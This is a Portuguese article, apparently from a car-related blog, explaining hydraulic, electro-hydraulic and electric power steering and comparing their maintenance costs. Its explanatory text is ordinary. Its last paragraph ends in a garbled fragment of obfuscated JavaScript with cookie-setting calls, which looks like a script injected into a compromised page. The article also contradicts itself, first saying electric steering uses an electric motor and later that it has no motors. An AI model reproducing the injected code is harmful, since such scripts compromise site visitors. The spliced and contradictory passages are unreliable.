O que é a direção elétrica e hidráulica

O que é a direção elétrica e hidráulica? – Com o passar do tempo, a tecnologia vai evoluindo e facilitando o nosso dia a dia. Os smartphones, por exemplo, possibilitando que, nos dias de hoje, possamos ter várias ferramentas em apenas um toque. Eles fazem com que seja possível, de forma instantânea, que uma pessoa no Brasil se comunique, por vídeo, com alguém no Japão.

Não somente em relação à comunicação, a tecnologia nos dá maior comodidade em vários momentos. Com os carros não é diferente, o que pode ser exemplificado a partir dos diferentes sistemas de direção que deixam o volante mais leve, dando mais facilidade para a execução de manobras e até ajudando na segurança!

No entanto, as tecnologias são diferentes entre si e exigem cuidados distintos. No artigo de hoje falaremos sobre os tipos de sistemas mais conhecidos do grande público: a direção elétrica, a direção hidráulica, e até mesmo uma fusão das duas: a direção eletrohidráulica!

O que é a direção hidráulica?

A direção hidráulica é a mais conhecida entre os brasileiros. Isso se deve ao fato de que essa tecnologia é um pouco mais antiga, e está presente em praticamente todos os automóveis contemporâneos.

No motor do veículo, há um recipiente onde é colocado um óleo próprio para essa finalidade. Esse óleo é bombeado para a caixa de direção do veículo (a partir de uma bomba impulsionada pelo próprio motor), fazendo com que o volante fique mais leve.

É um efeito simples: o óleo diminui o atrito que o todo o sistema de direção faz ao virar o volante. Como existe uma menor força de atrito para segura-lo, o volante fica mais leve, o que facilita as manobras por parte do condutor do carro.

O que é a direção eletrohidráulica?

Apesar de muitas vezes ser vendida como elétrica, a direção eletrohidrálica é bem mais parecida com a hidráulica. Isso se dá pelo fato de que também há um recipiente com olho e uma bomba que o impulsiona para a caixa de direção, diminuindo o atrito como no tipo de tecnologia anterior.

A diferença básica, no entanto, está na forma como esse óleo é impulsionado para a caixa de direção: ao invés de tomar força do próprio motor do veículo, há uma bomba elétrica que é responsável apenas por fazer esse serviço.

A vantagem, nesse caso, é que o sistema de direção não “rouba” potência do motor do carro, que está sempre entregando o seu máximo.

O que é a direção elétrica?

Diferentemente das duas tecnologias que foram citadas anteriormente, a direção elétrica não necessita de bombas ou óleo. Basicamente, trata-se de um sistema elétrico que ajuda o motorista na hora de virar o volante.

Em outras palavras, quando há um movimento no sistema, um motor elétrico situado na caixa de direção faz parte da força necessária, deixando apenas um parcela do esforço para o condutor do veículo.

Qual o melhor sistema de direção?

Em termos de leveza do volante, não há nenhum sistema melhor do que o outro. Isso se deve ao fato de que os três tipos de tecnologia entregam a mesma performance em questão de comodidade ao virar o volante.

A diferença, no entanto, estão nos gastos periódicos: no caso da direção hidráulica e também da direção eletrohidráulica, é necessário trocar o óleo que é bombeado para a caixa de direção de tempos em tempos – na grande maioria das vezes, é recomendado que se troque o fluido a cada 50 mil km rodados.

Já no sistema de direção elétrica, nada disso é necessário: como não existem bombas, óleos e motores, você não precisará se preocupar em gastos em sistemas de direção. Apesar disso, é importante ressaltar: em carros com direção elétrica, a pane elétrica pode ser um problema. No entanto, fique tranquilo: o volante não irá travar, mas apenas ficar mais duro nessa situações (como se fosse uma direção manual).,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]